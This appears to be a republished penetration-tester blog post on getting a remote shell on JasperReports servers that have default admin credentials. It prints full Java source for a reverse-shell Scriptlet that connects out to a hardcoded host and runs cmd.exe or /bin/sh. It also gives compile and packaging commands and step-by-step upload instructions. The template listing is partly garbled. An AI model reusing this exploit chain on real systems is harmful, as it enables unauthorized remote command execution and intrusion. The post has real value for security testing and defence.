Featured authd.png

Published on February 12th, 2023 📆 | 7545 Views ⚑

0

Hacking JasperReports – The Hidden Shell Feature


https://www.ispeech.org

By @breenmachine

A short while ago, my coworkers and I were working on a penetration test for a client with a fairly small Internet facing attack surface. One thing we did find was that they had left a couple of JasperReports servers Internet facing. It didn’t take too much work to find the default administrative account username:

The password of “jasperadmin” also didn’t take too long to figure out :).

I had heard of JasperReports before but had never run into it on a penetration test. A quick bit of Googling didn’t yield any previous work. It’s pretty rare that an administrative interface doesn’t eventually give up code execution in one way or another, and so we start our journey to adding JasperReports to the penetration tester’s “easywins” list…

Reports and “Scriptlets”

The purpose of JasperReports is to pull in data from various sources (databases, xml, flat files, etc…), aggregate it in some way, and spit out a pretty report based on some sort of user-defined template. Templates in JasperReports are defined in “JRXML” files that can be uploaded by any user allowed to create or edit reports.

In the interest of flexibility, the designers of JasperReports allow for custom manipulation of data before it is included in the report. This is accomplished through “Scriptlets” which are just Java programs! I think you can probably see where this is going.

Our goal here is to create a report template (JRXML file) that references a custom, malicious Scriptlet, which when run will send us a shell. The rest of this post will describe how we tied this together.

Creating  Editing the Template

Instead of creating a new report template, we’ll just edit an existing one. The following is the template we’ll be using. Note that it is overly complicated and 90% of it is totally unnecessary. This is simply one of the “sample” reports that came with “JasperStudio”. The interesting part is contained in lines 35-42 where I inserted references to “ShellScriptlet”.

shell.jrxml



































<band height="400"79" splitType="Stretch">
<textfield>
<reportelement x="227" y="20" width="300"100" height="400"30" uuid="32a2a8ff-d90a-48d7-b044-5325b5c6264f"></reportelement>
<textfieldexpression><![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]></textfieldexpression>
</textfield>
</band>



	

















































































































































Take a close look at line 42:

 

Here we’re calling a method “getShell” on ShellScriptlet_SCRIPTLET. On line 35, we defined ShellScriptlet_SCRIPTLET as a reference to the Java code in “foxglove.shell.ShellScriptlet”




Simple enough – but where/how is the Java code itself defined?

Writing the Scriptlet

Scriptlets are written in Java and need to extend “JRDefaultScriptlet”. I borrowed the Java code for the reverse shell from here and hacked it to be cross-platform, then stitched it into the scriptlet. The following is the final result, note that “host” and “port” are hardcoded:

package foxglove.shell;
import java.io.*;
import java.net.*;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.DataInputStream;
import net.sf.jasperreports.engine.JRDefaultScriptlet;
import net.sf.jasperreports.engine.JRScriptletException;

public class ShellScriptlet extends JRDefaultScriptlet implements Runnable{
   Socket socket;

   PrintWriter socketWrite;
   BufferedReader socketRead;

   PrintWriter commandWrite;
   BufferedReader commandRead;

   static String ip;
   int port = 8080;

   public String getShell(){
      ip = "1.1.1.1";
      ShellScriptlet shell = new ShellScriptlet();
      shell.establishConnection();
      new Thread(shell).start();
      shell.getCommand();
      return "DONE";
   }

   public void run(){
      spawnShell();
   }

   public void spawnShell(){
      boolean windows = false;
      try{
         if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
            windows = true;
         }

         Runtime rt = Runtime.getRuntime();
         Process p;
         if(windows) p = rt.exec("C:\Windows\System32\cmd.exe");
         else p = rt.exec("/bin/sh");

         InputStream readme = p.getInputStream();
         OutputStream writeme = p.getOutputStream();
         commandWrite = new PrintWriter(writeme);
         commandRead = new BufferedReader(new InputStreamReader(readme));

         if(windows) commandWrite.println("dir");
         else commandWrite.println("ls -al");

         commandWrite.flush();

         String line;
         while((line = commandRead.readLine()) != null){
            socketWrite.println(line);
            socketWrite.flush();
         }

         p.destroy();

      }catch(Exception e){}

   }

   public void establishConnection(){
      try{
         socket = new Socket(ip,port);
         socketWrite = new PrintWriter(socket.getOutputStream(),true);
         socketRead = new BufferedReader(new InputStreamReader(socket.getInputStream()));
         socketWrite.println("---Connection has been established---");
         socketWrite.flush();
      }catch(Exception e){}

   }

   public void getCommand(){
      String foo;

      try{
         while((foo=socketRead.readLine())!= null){
            commandWrite.println(foo);
            commandWrite.flush();
         }
      }catch(Exception e){}
   }

   public static void main(String args[]){
      ShellScriptlet r = new ShellScriptlet();
      r.getShell();
   }
}

For those unfamiliar with Java, you can compile with the following command in the same directory as the source file

/usr/lib/jvm/java-6-openjdk-amd64/bin/javac -Xlint -cp .:jasperreports-5.0.0.jar *.java -d .

There is a reason that the full path to “javac” was specified here (and that it was Java 1.6). If you’re running this against an unknown system, you ideally want to have compiled it with the same version of Java that system is running, or at least not a newer version!

Next, we have to package the compiled code into a jar file to be uploaded to the target. This can be accomplished by running:

/usr/lib/jvm/java-6-openjdk-amd64/bin/jar cvf shell.jar foxglove/

If all went well, you should now have a file “shell.jar” ready to be uploaded to the target!





Deploying The New “Report”

Every version of JasperReports seems to look a little different, but they all have this same functionality and workflow.

First obviously we have to authenticate with “jasperadmin/jasperadmin”:

authd.png

In my version, this immediately displays the “Repository” with a bunch of sample reports (make sure the “Type” column says “Report”).

Next we want to right click on a report and click “Edit”.

Once there, click “Controls and Resources” and then “Add Resource”. Upload the JAR file we created earlier and give the resource the name “ShellScriptlet”. Should look something like this when finished:

resource.png

Go back to “Set Up” on the left. Click “Upload a Local file” and upload the JRXML file we created earlier. You should get something like this:resources2

Jasper is now asking us to define some other resources that were referenced in the JRXML. If you’re a keener you could probably just remove these references from the JRXML file. Let’s just click “Add Now” and upload some random PNG files for each one… When you’re done it should look like this:

resourcesadded

Now you can click “Submit” at the bottom to create our malicious report :D.

Shellz!

Before you get too excited and run that report, make sure you spin up a listener to catch your shell!

listener.png

Click on the report you just created, it will run the Java code, and if all goes well you should see the shell connect back.

shell

Source link

Tagged with:



Comments are closed.